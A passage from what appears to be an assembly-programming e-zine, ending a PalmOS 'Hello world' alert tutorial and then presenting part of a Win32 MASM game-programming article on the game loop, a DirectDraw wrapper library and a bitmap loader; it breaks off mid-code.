As you can see this Systrap (the word Systrap can be taken as a sinonym of the word 'API') takes one parameter. An Alert resource. There are many resource types (String,Form,version,etc) but we only care for the 'Alert' type. All this means that we must create a resource file (.rcp) which includes our Alert and the Asm file (.asm) which contains the code to display the Alert resource.

All this said, lets do some 'Hello tiny world' :)

The resource file (Hello.rcp):

```
; Here we are going to declare our resources. In this case only an Alert
; resource is going to be create since that's all we need

        ALERT ID 1000
; This is the ID of our Alert.

        INFORMATION
; This is the TYPE of the Alert. It could be [INFORMATION]
; or [CONFIRMATION] or [WARNING] or [ERROR]
```

```
        BEGIN
; Beginning of the Alert resource. Let's define all it's properties.

        TITLE "Hello tiny World!"
; This would be the title of the Alert

        MESSAGE "This is just the beginning!"
; Yes, you guessed. Its the Message

        BUTTONS "Ciao :)"
; In this case we have only one button

        END
; END of the Alert resource


The asm file (Hello.asm):
-------------------------

Appl    "MBox", 'Lat1'

; This sets the program's name and Id. The name is the one that will show up in
; the installed program's list. The ID is that,an ID :)

include "Pilot.inc"
; Just like windows.inc, full of constants, structure offsets,API trap codes,
; etc.

include "Startup.inc"
; Startup.inc contains a standard startup function which must be the first
; within an application and is called by the PalmOS after the app is loaded.
; SysAppStartup is first executed, if it doesn't fail, then PilotMain in our
; app is called and after it returns, SysAppExit is called. In short, don't
; remove this :)


MyAlert   equ     1000
; Some Constants

        code

proc PilotMain(cmd.w, cmdPBP.l, launchFlags.w)

; Just like WinMain; PilotMain's prototype is in Pilot.inc.
; It takes three parameters, a WORD (cmd), a LONG (cmdPBP) and another WORD
; (launchFlags)
; Whenever parameters are passed to API calls, their size has to specified too.
; So '.b' for a byte,'.w' for a word and '.l' for a Long.
; Remember that PilotMain is called from StartUp.inc!!

beginproc
; Marks the beginning of a procedure by reserving the needed space in the stack
; for local variables if any. To do this it performs the link a6,#nnnn where
; #nnnn is the number of bytes.

TST.W   cmd(a6)
; PilotMain function is called many times in different circumstances so here we
; check that the cmd parameter is 0 (sysAppLaunchCmdNormalLaunch is 0?) which
; would mean a 'normal' program launching.
; TST.W   cmd(a6) means 'CMP WORD PTR cmd,0' in the Intel enviroment .W implies
; that only 2 bytes out of the cmd variable will be TeSTed cmd(a6) tells pila
; that the cmd variable is a LOCAL variable. Would it have been cmd(a5), then
; the assembler would know that cmd is a GLOBAL variable.

BNE     PmReturn
; BNE = Branch Not Equal. Just like the beloved JNZ

systrap FrmAlert(#MyAlert.w)
; MessageBox! :) systrap is the keyword to invoke APIs, it PUSHes the specified
; parameters and cleans the stack after the API execution.
; # means that MyAlert is specifying a CONSTANT NUMBER and .w means that
; MyAlert is making reference to a WORD
;
; systrap FrmAlert(#MyAlert.w) would be the same as:
; move.w  #MyAlert,-(a7)         = push alert id on stack and decrement it
; trap    #15                    = PalmOS API call
; dc.w    sysTrapFrmAlert        = invoke the alert dialog! by declaring the
;                                  word that is equivalent to 'sysTrapFrmAlert'
; addq.l  #2,a7                  = correct stack


PmReturn
; Just a Label

endproc
; Sefin?, endproc executes the unlk and rts instructions ;-----------------------Resources------------------------------
; Here we must 'tell' pila all those resources that we created so it will
; include them to our assembled code.
; We now declare ALL the resources being used by Hello.asm, the keyword 'res'
; is first placed; followed by the TYPE of the resource. ;-=Alert   Resources=-
res 'Talt', MyAlert, "Talt03e8.bin"


        ; This resource defines launch flags, stack and heap size :)
res     'pref', 1
        dc.w    sysAppLaunchFlagNewStack|sysAppLaunchFlagNewGlobals|sysAppLaunc
hFlagUIApp|sysAppLaunchFlagSubCall
        dc.l    $1000                   ; stack size
        dc.l    $1000                   ; heap size ;------------------------------ end --------------------------------------------

That's all my friends! to assemble and link this program execute the following:

        pilrc Hello.rcp
        pila Hello.asm
```

Pilrc being the resource compiler and pila the assembler of course.
Well, that's it! easy huh? Next time i'll complicate things a little bit including a Form :)
Should your Palm Asm hunger be unstoppable, you could check my site for more coding and reversing stuff: www.latigo.cjb.net.

Take Care! Bye!

Latigo

```
::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::...........................................GAMING.CORNER
                                                        Win32 ASM Game Programming - Part 2
                                                                by Chris Hobbs
```

[This series of articles was first posted at GameDev.net and is now being published here with the author's permission. Here is Chris Hobbs' introduction on this particular article:

"A continuation of the development of SPACE-TRIS. This one covers the coding of WinMain, a Direct Draw library, and a Bitmap library."

Visit his website at http://www.fastsoftware.com.
Preface, Html-to-Txt conversion and formating by Chili]

Where Did We Leave Off?

The last article discussed many basics of Win32 ASM programming, introduced you to the game we will be creating, and guided you through the design process. Now it is time to take it a few steps further. First, I will cover, in depth, the High Level constructs of MASM that make it extremely readable (at generally no performance cost), and make it as easy to write as C expressions. Then, once we have a solid foundation in our assembler we will take a look at the Game Loop and the main Windows procedures in the code. With that out of the way we will take a peek at Direct Draw and the calls associated with it. Once, we understand how DirectX works we can build our Direct Draw library. After that we will build our bitmap file library. Finally, we will put it all together in a program that displays our Loading Game screen and exits when you hit the escape key.

It is a pretty tall order but I am pretty sure we can cover all of the topics in this article. Remember: If you want to compile the code you need the MASM32 [http://www.pbq.com.au/home/hutch/] package, or at the very least a copy of MASM 6.11+.

If you are already familiar with MASM's HL syntax then I would suggest skipping the next section. However, those of you who are rusty, or have never even heard of it, head on to the next section. There you will learn more than you will probably ever need to know about this totally cool addition to our assembler.

MASM's HL Syntax

I am sure many of you have seen an old DOS assembly language listing. Take a moment to recall that listing, and picture the code. Scary? Well, 9 times out of 10 it was scary. Most ASM programmers wrote very unreadable code, simply because that was the nature of their assembler. It was littered with labels and jmp's, and all sorts of other mysterious things. Try stepping through it with your mental computer. Did you crash? Yeah, don't feel bad. It is just how it is. Now, that was the 9 out of 10 ... what about that 1 out of 10? What is the deal with them? Well, those are the programmers who coded MACRO's to facilitate High Level constructs in their programs. For once, Microsoft did something incredibly useful with MASM 6.0 ... they built those HL MACRO's, that smart programmers had devised, into MASM as pseudo-ops.

If you aren't aware of what this means I will let you in on it. MASM's assembly code is now just as readable and easy to write as C. This, of course, is just my opinion. But, it is an opinion shared by thousands and thousands of ASM coders. So, now that I have touted its usefulness let's take a look at some C constructs and their MASM counterparts.

```
                              IF - ELSE IF - ELSE

        The C version:                        The MASM version:

        if ( var1 == var2 ) .if ( var1 == var2 )
        {                                          ; Code goes here // Code goes here .elseif ( var1 == var3 )
        }                                          ; Code goes here
        else .else
        if ( var1 == var3 )                        ; Code goes here
        { .endif // Code goes here
        }
        else
        { // Code goes here
        }


                                  DO - WHILE

        The C version:                        The MASM version:

        do .repeat
        {                                          ; Code goes here // Code goes here .until ( var1 != var2 )
        }
        while ( var1 == var2 );
```

```
                                    WHILE

        The C version:                          The MASM version:

        while ( var1 == var2 ) .while ( var1 == var2 )
        {                                           ; Code goes here // Code goes here .endw
        }
```

Those are the constructs that we can use in our code. As you can see they are extremely simple and allow for nice readable code. Something assembly language has long been without. There is no performance loss for using these constructs, at least I haven't found any. They typically generate the same jmp and cmp code that a programmer would if he were writing it with labels and such. So, feel free to use them in your code as you see fit ... they are a great asset.

There is one other thing we should discuss and that is the psuedo-ops that allow us to define procedures/functions easily. PROTO and PROC. Using them is really simple. To begin with, just as in C you need to have a prototype. In MASM this is done with the PROTO keyword. Here are some examples of declaring protoypes for your procedures: ;=================================

```
        ; Main Program Procedures ;=================================
        WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
        WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
```

The above code tells the assembler it should expect a procedure by the name of WinMain and one by the name of WndProc. Each of these has a parameter list associated with them. They both happen to expect 4 DWORD values to be passed to them. For those of you using the MASM32 package, you already have all of the Windows API functions prototyped, you just need to include the appropriate include file. But, you need to make sure that any user defined procedure is prototyped in the above fashion.

Once we have the function prototyped we can create it. We do this with the PROC keyword. Here is an example: ;##

```
; WinMain Function ;########################################################################
WinMain PROC    hInstance :DWORD,
                hPrevInst :DWORD,
                CmdLine :DWORD,
                CmdShow :DWORD ;===========================
        ; We are through ;===========================
        return msg.wParam

WinMain endp ;########################################################################
; End of WinMain Procedure ;########################################################################
```

By writing our functions in this manner we can access all passed parameters by the name we give to them. The above function is WinMain w/o any code in it. You will see the code in a minute. For now though, pay attention to how we setup the procedure. Also notice how it allows us to create much cleaner looking code, just like the rest of the high level constructs in MASM do also.

Getting A Game Loop Running

Now that we all know how to use our assembler, and the features contained in it, lets get a basic game shell up and running.

The first thing we need to do is get setup to enter into WinMain(). You may be wondering why the code doesn't start at WinMain() like in C/C++. The answer is: in C/C++ it doesn't start there either. The code that we will write is generated for you by the compiler, therefore it is completely transparent to you. We will most likely do it differently than the compiler, but the premise will be the same. So here is what we will code to get into the WinMain() function... .CODE

```
start: ;==================================
        ; Obtain the instance for the
        ; application ;==================================
        INVOKE GetModuleHandle, NULL
        MOV     hInst, EAX ;==================================
        ; Is there a commandline to parse? ;==================================
        INVOKE GetCommandLine
        MOV     CommandLine, EAX ;==================================
        ; Call the WinMain procedure ;==================================
        INVOKE WinMain,hInst,NULL,CommandLine,SW_SHOWDEFAULT ;==================================
        ; Leave the program ;==================================
        INVOKE ExitProcess,EAX
```

The only thing that may seem a little confusing is why we MOV EAX into a variable at the end of a INVOKE. The reason is all Windows functions, and C functions for that matter, place the return value of a function/procedure in EAX. So we are effectively doing an assignment statement with a function when we move a value from EAX into something. This code above is going to be the same for every Windows application that you write. At least, I have never had need to change it. The code simply sets everything up and ends it when we are finished.

If you follow the code you will see that it calls WinMain() for us. This is where things can get a bit confusing ... so let's have a look at the code first. ;##

```
; WinMain Function ;########################################################################
WinMain PROC    hInstance :DWORD,
                hPrevInst :DWORD,
                CmdLine :DWORD,
                CmdShow :DWORD ;====================
        ; Put LOCALs on stack ;====================
        LOCAL wc :WNDCLASS ;==================================================
        ; Fill WNDCLASS structure with required variables ;==================================================
        MOV     wc.style, CS_OWNDC
        MOV     wc.lpfnWndProc,OFFSET WndProc
```

```
        MOV     wc.cbClsExtra,NULL
        MOV     wc.cbWndExtra,NULL
        m2m     wc.hInstance,hInst ;<< NOTE: macro not mnemonic
        INVOKE GetStockObject, BLACK_BRUSH
        MOV     wc.hbrBackground, EAX
        MOV     wc.lpszMenuName,NULL
        MOV     wc.lpszClassName,OFFSET szClassName
        INVOKE LoadIcon, hInst, IDI_ICON        ; icon ID
        MOV     wc.hIcon,EAX
        INVOKE LoadCursor,NULL,IDC_ARROW
        MOV     wc.hCursor,EAX

        ;================================
        ; Register our class we created
        ;================================
        INVOKE RegisterClass, ADDR wc

        ;===========================================
        ; Create the main screen
        ;===========================================
        INVOKE CreateWindowEx,NULL,
                ADDR szClassName,
                ADDR szDisplayName,
                WS_POPUP OR WS_CLIPSIBLINGS OR
                WS_MAXIMIZE OR WS_CLIPCHILDREN,
                0,0,640,480,
                NULL,NULL,
                hInst,NULL

        ;===========================================
        ; Put the window handle in for future uses
        ;===========================================
        MOV     hMainWnd, EAX

        ;====================================
        ; Hide the cursor
        ;====================================
        INVOKE ShowCursor, FALSE

        ;===========================================
        ; Display our Window we created for now
        ;===========================================
        INVOKE ShowWindow, hMainWnd, SW_SHOWDEFAULT

        ;=================================
        ; Intialize the Game
        ;=================================
        INVOKE Game_Init

        ;========================================
        ; Check for an error if so leave
        ;========================================
        .IF EAX != TRUE
                JMP shutdown
        .ENDIF

        ;==================================
        ; Loop until PostQuitMessage is sent
        ;==================================
        .WHILE TRUE
                INVOKE PeekMessage, ADDR msg, NULL, 0, 0, PM_REMOVE
                .IF (EAX != 0)
                        ;===================================
                        ; Break if it was the quit message
                        ;===================================
                        MOV EAX, msg.message
                        .IF EAX == WM_QUIT
                                ;======================
                                ; Break out
                                ;======================
                                JMP shutdown
                        .ENDIF

                        ;===================================
                        ; Translate and Dispatch the message
                        ;===================================
                        INVOKE TranslateMessage, ADDR msg
                        INVOKE DispatchMessage, ADDR msg

                .ENDIF

                ;================================
                ; Call our Main Game Loop
                ;
                ; NOTE: This is done every loop
                ; iteration no matter what
                ;================================
                INVOKE Game_Main

        .ENDW

shutdown:
        ;=================================
        ; Shutdown the Game
        ;=================================
        INVOKE Game_Shutdown

        ;=================================
        ; Show the Cursor
        ;=================================
        INVOKE ShowCursor, TRUE

getout:
        ;===========================
        ; We are through
```

```
        ;==========================
        return msg.wParam

WinMain endp
;########################################################################
; End of WinMain Procedure
;########################################################################
```

This is quite a bit of code and is rather daunting at first glance. But, let's examine it a piece at a time. First we enter the function, notice that the local variables (in this case a WNDCLASS variable) get placed on the stack without your having to code anything. The code is generated for you ... you can declare local variables like in C. Thus, at the end of the procedure we don't need to tell the assembler how much to pop off of the stack ... it is done for us also. Then, we fill in this structure with various values and variables. Note the use of m2m. This is because in ASM you are not allowed to move a memory value to another memory location w/o placing it in a register, or on the stack first.

Next, we make some calls to register our window class and create a new window. Then, we hide the cursor. You may want the cursor ... but for our game we do not. Now we can show our window and try to initialize our game. We check for an error after calling the Game_Init() procedure. If there was an error the function would not return true and this would cause our program to jump to the shutdown label. It is important that we jump over the main message loop. If we do not, the program will continue executing. Also, make sure that you do not just return out of the code ... there still may be some things that need to be shutdown. It is good practice in ASM, just as in all other languages, to have one entry point and one exit point in each of your procedures -- this makes debugging easier.

Now for the meat of WinMain(): the message loop. For those of you that have never seen a Windows message loop before here is a quick explanation. Windows maintains a queue of messages that the application receives -- whether from other applications, user generated, or internal. In order to do ANYTHING an application must process messages. These tell you that a key has been pressed, the mouse button clicked, or the user wants to exit your program. If this were a normal program, and not a high performance game, we would use GetMessage() to retrieve a message from the queue and act upon it.

The problem however is, if there are no messages, the function WAITS until it receives one. This is totally unacceptable for a game. We need to be constantly performing our loop, no matter what messages we receive. So, one way around this, is to use PeekMessage() instead. PeekMessage() will return zero if it has no messages, otherwise it will grab it off of the queue.

What this means is, if we have a message, it will get translated and dispatched to our callback function. Furthermore, if we do not, then the main game loop will be called instead. Now here is the trick, by arranging the code just right, the main game loop will be called -- even if we process a message. If we did not do this, then Windows could process 1,000's of messages while our game loop wouldn't execute once!

Finally, when a quit message is passed to the queue we will jump out of our loop and execute the shutdown code. And that ... is the basic game loop.

Connecting to Direct Draw

Now we are going to get a little bit advanced. But, only for this section. Unfortunately there is no cut and dry way to view DirectX in assembly. So, I am going to explain it briefly, show you how to use it, and then forget about it. This is not that imperative to know about, but it helps if you at least understand the concepts.

The very first thing you need to understand is the concept of a Virtual Function Table. This is where your call really goes to be blunt about it. The call offsets into this table, and from it selects the proper function address to jump to. What this means to you is your call to a function is actually a call to a simple look-up table that is already generated. in this way, DirectX or any other type library such as DirectX can change functions in a library w/o you ever having to know about it.

Once we have gotten that straight we can figure out how to make calls in DirectX. Have you guessed how yet? The answer is we need to mimic the table in some way so that our call is offset into the virtual table at the proper address. We start by simply having a base address that gets called, which is a given in DirectX libraries. Then we make a list of all functions for that object appending the size of their parameters. This is our offset into the table. Now, we are all set to call the functions.

Calling these functions can be a bit of work. First you have to specify the address of the object that you want to make the call on. Then, you have to resolve the virtual address, and then, finally, push all of the parameters onto the stack, including the object, for the call. Ugly isn't it? For that reason there is a set of macros provided that will allow you to make calls for these objects fairly easily. I will only cover one since the rest are based on the same premise. The most basic one is DD4INVOKE. This macro is for a Direct Draw 4 object. It is important that we have different invokes for different versions of the same object. If we did not, then wrong routines would be called since the Virtual Table changes as they add/remove functions from the lib's.

The idea behind the macro is fairly simple. First, you specify the function name, then the object name, and then the parameters. Here is an example:

```
        ;========================================
        ; Now create the primary surface
        ;========================================
        DD4INVOKE CreateSurface, lpdd, ADDR ddsd, ADDR lpddsprimary, NULL
```

The above line of code calls the CreateSurface() function on a Direct Draw 4 object. It passes the pointer to the object, the address of a Direct Draw

Surface Describe structure, the address of the variable to hold the pointer to the surface, and finally NULL. This call is an example of how we will interface to DirectX in this article series. Now that we have seen how to make calls to DirectX, we need to build a small library for us to use which we cover in the next section.

Our Direct Draw Library

Alright, we are now ready to start coding our Direct Draw library routines. So, the logical starting place would be figuring out what kinds of routines we will need for the game. Obviously we want an initialization and shutdown routine, and we are going to need a function to lock and unlock surfaces. Also, it would be nice to have a function to draw text, and, since the game is going to run in 16 bpp mode, we will want a function that can figure out the pixel format for us. It would also be a good idea to have a function that creates surfaces, loads a bitmap into a surface, and a function to flip our buffers for us. That should cover it ... so lets get started.

The first routine that we will look at is the initialization routine. This is the most logical place to start, especially since the routine has just about every type of call we will be using in Direct Draw. Here is the code:

```
;########################################################################
; DD_Init Procedure
;########################################################################
DD_Init PROC    screen_width:DWORD, screen_height:DWORD, screen_bpp:DWORD

        ;=======================================================
        ; This function will setup DD to full screen exclusive
        ; mode at the passed in width, height, and bpp
        ;=======================================================

        ;=================================
        ; Local Variables
        ;=================================
        LOCAL lpdd_1    :LPDIRECTDRAW

        ;=============================
        ; Create a default object
        ;=============================
        INVOKE DirectDrawCreate, 0, ADDR lpdd_1, 0

        ;=============================
        ; Test for an error
        ;=============================
        .IF EAX != DD_OK
                ;======================
                ; Give err msg
                ;======================
                INVOKE MessageBox, hMainWnd, ADDR szNoDD, NULL, MB_OK

                ;======================
                ; Jump and return out
                ;======================
                JMP err

        .ENDIF

        ;=========================================
        ; Lets try and get a DirectDraw 4 object
        ;=========================================
        DDINVOKE QueryInterface, lpdd_1, ADDR IID_IDirectDraw4, ADDR lpdd

        ;=========================================
        ; Did we get it??
        ;=========================================
        .IF EAX != DD_OK
                ;==============================
                ; No so give err message
                ;==============================
                INVOKE MessageBox, hMainWnd, ADDR szNoDD4, NULL, MB_OK

                ;======================
                ; Jump and return out
                ;======================
                JMP err

        .ENDIF

        ;===================================================
        ; Set the cooperative level
        ;===================================================
        DD4INVOKE SetCooperativeLevel, lpdd, hMainWnd,
                DDSCL_ALLOWMODEX OR DDSCL_FULLSCREEN OR
                DDSCL_EXCLUSIVE OR DDSCL_ALLOWREBOOT

        ;=========================================
        ; Did we get it??
        ;=========================================
        .IF EAX != DD_OK
                ;==============================
                ; No so give err message
                ;==============================
                INVOKE MessageBox, hMainWnd, ADDR szNoCoop, NULL, MB_OK

                ;======================
                ; Jump and return out
                ;======================
                JMP err

        .ENDIF

        ;===================================================
```

```
        ; Set the Display Mode
        ;=================================================
        DD4INVOKE SetDisplayMode, lpdd, screen_width,
                screen_height, screen_bpp, 0, 0

        ;=======================================
        ; Did we get it??
        ;=======================================
        .IF EAX != DD_OK
                ;==============================
                ; No so give err message
                ;==============================
                INVOKE MessageBox, hMainWnd, ADDR szNoDisplay, NULL, MB_OK

                ;======================
                ; Jump and return out
                ;======================
                JMP err

        .ENDIF

        ;===============================
        ; Save the screen info
        ;===============================
        m2m     app_width, screen_width
        m2m     app_height, screen_height
        m2m     app_bpp, screen_bpp

        ;======================================
        ; Setup to create the primary surface
        ;======================================
        DDINITSTRUCT OFFSET ddsd, SIZEOF(DDSURFACEDESC2)
        MOV     ddsd.dwSize, SIZEOF(DDSURFACEDESC2)
        MOV     ddsd.dwFlags, DDSD_CAPS OR DDSD_BACKBUFFERCOUNT;
        MOV     ddsd.ddsCaps.dwCaps, DDSCAPS_PRIMARYSURFACE OR
                        DDSCAPS_FLIP OR DDSCAPS_COMPLEX
        MOV     ddsd.dwBackBufferCount, 1

        ;======================================
        ; Now create the primary surface
        ;======================================
        DD4INVOKE CreateSurface, lpdd, ADDR ddsd, ADDR lpddsprimary, NULL

        ;=======================================
        ; Did we get it??
        ;=======================================
        .IF EAX != DD_OK
                ;==============================
                ; No so give err message
                ;==============================
                INVOKE MessageBox, hMainWnd, ADDR szNoPrimary, NULL, MB_OK

                ;======================
                ; Jump and return out
                ;======================
                JMP err

        .ENDIF

        ;========================================
        ; Try to get a backbuffer
        ;========================================
        MOV     ddscaps.dwCaps, DDSCAPS_BACKBUFFER
      DDS4INVOKE GetAttachedSurface, lpddsprimary, ADDR ddscaps, ADDR lpddsback

        ;=======================================
        ; Did we get it??
        ;=======================================
        .IF EAX != DD_OK
                ;==============================
                ; No so give err message
                ;==============================
                INVOKE MessageBox, hMainWnd, ADDR szNoBackBuffer, NULL, MB_OK

                ;======================
                ; Jump and return out
                ;======================
                JMP err

        .ENDIF

        ;========================================
        ; Get the RGB format of the surface
        ;========================================
        INVOKE DD_Get_RGB_Format, lpddsprimary

done:
        ;==================
        ; We completed
        ;==================
        return TRUE

err:
        ;==================
        ; We didn't make it
        ;==================
        return FALSE

DD_Init      ENDP
;########################################################################
; END DD_Init
;########################################################################
```

The above code is fairly complex so let's see what each individual section does.

The first step is we create a default Direct Draw object. This is nothing more than a simple call with a couple of parameters. NOTE: since it is NOT based on an already created object, the function is not virtual. Therefore, we can call it like a normal function using invoke. Also, notice how we check for an error right afterwards. This is very important in DirectX. In the case of an error, we merely give a message, and then jump to the error return at the bottom of the procedure.

The second step is we query for a DirectDraw4 object. We will almost always want the newest version of the objects, and querying after you have the base object is the way to get them. If this succeeds we then set the cooperative level and the display mode for our game. Nothing major ... but don't forget to check for errors.

Our next step is to create a primary surface for the object that we have. If that succeeds we create the back buffer. The structure that we use in this call, and other DirectX calls, needs to be cleared before using it. This is done in a macro, DDINITSTRUCT, that I have included in the DDraw.inc file.

The final thing we do is make a call to our routine that determines the pixel format for our surfaces. All of these pieces fit together into initializing our system for use.

The next routine we will look at is the pixel format obtainer. This is a fairly advanced routine so I wanted to make sure that we cover it. Here is the code:

```
;########################################################################
; DD_Get_RGB_Format Procedure
;########################################################################
DD_Get_RGB_Format       PROC    surface:DWORD

        ;=========================================================
        ; This function will setup some globals to give us info
        ; on whether the pixel format of the current diaplay mode
        ;=========================================================

        ;====================================
        ; Local variables
        ;====================================
        LOCAL shiftcount :BYTE

        ;================================
        ; get a surface despriction
        ;================================
        DDINITSTRUCT ADDR ddsd, sizeof(DDSURFACEDESC2)
        MOV     ddsd.dwSize, sizeof(DDSURFACEDESC2)
        MOV     ddsd.dwFlags, DDSD_PIXELFORMAT
        DDS4INVOKE GetSurfaceDesc, surface, ADDR ddsd

        ;==============================
        ; fill in masking values
        ;==============================
        m2m     mRed, ddsd.ddpfPixelFormat.dwRBitMask   ; Red Mask
        m2m     mGreen, ddsd.ddpfPixelFormat.dwGBitMask ; Green Mask
        m2m     mBlue, ddsd.ddpfPixelFormat.dwBBitMask  ; Blue Mask

        ;====================================
        ; Determine the pos for the red mask
        ;====================================
        MOV     shiftcount, 0
        .WHILE (!(ddsd.ddpfPixelFormat.dwRBitMask & 1))
                SHR     ddsd.ddpfPixelFormat.dwRBitMask, 1
                INC     shiftcount
        .ENDW
        MOV     AL, shiftcount
        MOV     pRed, AL

        ;=======================================
        ; Determine the pos for the green mask
        ;=======================================
        MOV     shiftcount, 0
        .WHILE (!(ddsd.ddpfPixelFormat.dwGBitMask & 1))
                SHR     ddsd.ddpfPixelFormat.dwGBitMask, 1
                INC     shiftcount
        .ENDW
        MOV     AL, shiftcount
        MOV     pGreen, AL

        ;=======================================
        ; Determine the pos for the blue mask
        ;=======================================
        MOV     shiftcount, 0
        .WHILE (!(ddsd.ddpfPixelFormat.dwBBitMask & 1))
                SHR     ddsd.ddpfPixelFormat.dwBBitMask, 1
                INC     shiftcount
        .ENDW
        MOV     AL, shiftcount
        MOV     pBlue, AL

        ;===========================================
        ; Set a special var if we are in 16 bit mode
        ;===========================================
        .IF app_bpp == 16
                .IF pRed == 10
                        MOV     Is_555, TRUE
                .ELSE
                        MOV     Is_555, FALSE
                .ENDIF
        .ENDIF

done:
        ;===================
```

```
        ; We completed
        ;===================
        return TRUE

DD_Get_RGB_Format ENDP
;##########################################################################
; END DD_Get_RGB_Format
;##########################################################################
```

First, we initialize our description structure and make a call to get the surface description from Direct Draw. We place the masks that are returned in global variables, since we will want to use them in all kinds of places. A mask is a value that you can use to set or clear certain bits in a variable/register. In our case, we use them to mask off the unnecessary bits so that we can access the red, green, or blue bits of our pixel individually.

The next three sections of code are used to determine the number of bits in each color component. For example, if we had set the mode to 24 bpp, then there would be 8-bits in every component. The way we determine the number of bits it needs to be moved is by shifting each mask to the right by 1 and AND'ing it with the number one. This allows us to effectively count all the bits we need to shift by in order to move our component into its proper position. This works because the mask is going to contain a 1 where the bits are valid. So, by AND'ing it with the 1 we are able to see if the bit was turned on or not, since the number one will leave only the first bit set and turn all others off.

Finally, we set a variable that tells us whether or not the video mode is 5-5-5 or 5-6-5. This is extremely important since 16 bpp mode can be either, and we do not want our pictures to have a green or purple tint on one machine, and look fine on another one!

The last function that I want to cover in our Direct Draw library is the text drawing function. This uses GDI and so I figured I should at least give it a small explanation. The code ...

```
;##########################################################################
; DD_Draw_Text Procedure
;##########################################################################
DD_Draw_Text    PROC    surface:DWORD, text:DWORD, num_chars:DWORD,
                                x:DWORD, y:DWORD, color:DWORD

        ;=======================================================
        ; This function will draw the passed text on the passed
        ; surface using the passed color at the passed coords
        ; with GDI
        ;=======================================================

        ;===========================================
        ; First we need to get a DC for the surface
        ;===========================================
        DDS4INVOKE GetDC, surface, ADDR hDC

        ;===========================================
        ; Set the text color and BK mode
        ;===========================================
        INVOKE SetTextColor, hDC, color
        INVOKE SetBkMode, hDC, TRANSPARENT

        ;===========================================
        ; Write out the text at the desired location
        ;===========================================
        INVOKE TextOut, hDC, x, y, text, num_chars

        ;===========================================
        ; release the DC we obtained
        ;===========================================
        DDS4INVOKE ReleaseDC, surface, hDC

done:
        ;===================
        ; We completed
        ;===================
        return TRUE

DD_Draw_Text ENDP
;##########################################################################
; END DD_Draw_Text
;##########################################################################
```

Following this code is relatively simple. First, we get the Device Context for our surface. In Windows, drawing is typically done through these DC's (Device Contexts), thus ... if you want to use any GDI function in Direct Draw the first thing you have to do is get the DC for your surface. Then, we set the background mode and text color using basic Windows GDI calls. Now, we are ready to draw our text ... again we just make a call to the Windows function TextOut(). There are many others, this is just the one that I chose to use. Finally, we release the DC for our surface.

The rest of the Direct Draw routines follow the same basic format and use the same types of calls, so they shouldn't be too hard to figure out. The basic idea behind all of the routines is the same: encapsulate the functionality we need into some services that still allow us to be flexible. Now, we need to write the code to handle our bitmaps that go into these surfaces.

Our Bitmap Library

We are now ready to write our bitmap library. We will start like the Direct Draw library by determining what we need. As far as I can tell right now, we should be good with two simple routines: a bitmap loader, and a draw routine. Since we will be using surfaces, the draw routine should draw onto the passed surface. Our loader will load our special file format which I will cover in a moment. That should be it, there isn't that much that is needed for bitmaps nowadays. DirectX is how most manipulation occurs, especially since many things can be done in hardware. With that in mind we will cover our unique file format.

Normally, creating your own file format is a headache and isn't worth the trouble. However, in our case it greatly simplifies the code and I have provided the conversion utility with the download package. This format is probably one of the easiest you will ever encounter. It has five main parts: Width, Height, BPP, Size of Buffer, and Buffer. The first three give information on the image. I have our library setup for 16 bpp only but implementing other bit depths would be fairly easy. The fourth section tells us how large of a buffer we need for the image, and the fifth section is that buffer. Having our own format not only makes the code we need to write a lot easier, it also prevents other people from seeing our work before they were meant to see it! Now, how do we load this bad boy?

```
;########################################################################
; Create_From_SFP Procedure
;########################################################################
Create_From_SFP PROC    ptr_BMP:DWORD, sfp_file:DWORD, desired_bpp:DWORD

        ;=========================================================
        ; This function will allocate our bitmap structure and
        ; will load the bitmap from an SFP file. Converting if
        ; it is needed based on the passed value.
        ;=========================================================

        ;=================================
        ; Local Variables
        ;=================================
        LOCAL hFile     :DWORD
        LOCAL hSFP      :DWORD
        LOCAL Img_Left  :DWORD
        LOCAL Img_Alias :DWORD
        LOCAL red       :DWORD
        LOCAL green     :DWORD
        LOCAL blue      :DWORD
        LOCAL Dest_Alias :DWORD

        ;=================================
        ; Create the SFP file
        ;=================================
        INVOKE CreateFile, sfp_file, GENERIC_READ,FILE_SHARE_READ,
                NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL
        MOV     hFile, EAX

        ;===============================
        ; Test for an error
        ;===============================
        .IF EAX == INVALID_HANDLE_VALUE
                JMP err
        .ENDIF

        ;===============================
        ; Get the file size
        ;===============================
        INVOKE GetFileSize, hFile, NULL
        PUSH    EAX

        ;================================
        ; test for an error
        ;================================
        .IF EAX == -1
                JMP err
        .ENDIF

        ;=============================================
        ; Allocate enough memeory to hold the file
        ;=============================================
        INVOKE GlobalAlloc, GMEM_FIXED, EAX
        MOV     hSFP, EAX

        ;===================================
        ; test for an error
        ;===================================
        .IF EAX == 0
                JMP err
        .ENDIF

        ;===================================
        ; Put the file into memory
        ;===================================
        POP     EAX
        INVOKE ReadFile, hFile, hSFP, EAX, OFFSET Amount_Read, NULL

        ;====================================
        ; Test for an error
        ;====================================
        .IF EAX == FALSE
                ;========================
                ; We failed so leave
                ;========================
                JMP err

        .ENDIF

        ;===================================
        ; Determine the size without the BPP
        ;===================================
        MOV     EBX, hSFP
        MOV     EAX, DWORD PTR [EBX]
        ADD     EBX, 4
        MOV     ECX, DWORD PTR [EBX]
```

```
        MUL     ECX
        PUSH    EAX

        ;=====================================
        ; Do we allocate a 16 or 24 bit buffer
        ;=====================================
        .IF desired_bpp == 16
                ;===========================
                ; Just allocate a 16-bit
                ;===========================
                POP     EAX
                SHL     EAX, 1
                INVOKE GlobalAlloc, GMEM_FIXED, EAX
                MOV     EBX, ptr_BMP
                MOV     DWORD PTR [EBX], EAX
                MOV     Dest_Alias, EAX

                ;===================================
                ; Test for an error
                ;===================================
                .IF EAX == FALSE
                        ;=======================
                        ; We failed so leave
                        ;=======================
                        JMP err

                .ENDIF

        .ELSE
                ;=======================================
                ; This is where code for 24 bit would go
                ;=======================================

                ;===========================
                ; For now just return an err
                ;===========================
                JMP err

        .ENDIF

        ;===================================
        ; Setup for reading in
        ;===================================
        MOV     EBX, hSFP
        ADD     EBX, 10
        MOV     EAX, DWORD PTR[EBX]
        MOV     Img_Left, EAX
        ADD     EBX, 4
        MOV     Img_Alias, EBX

        ;===================================
        ; Now lets start converting values
        ;===================================
        .WHILE Img_Left > 0 ;=================================
                ; Build a color word based on
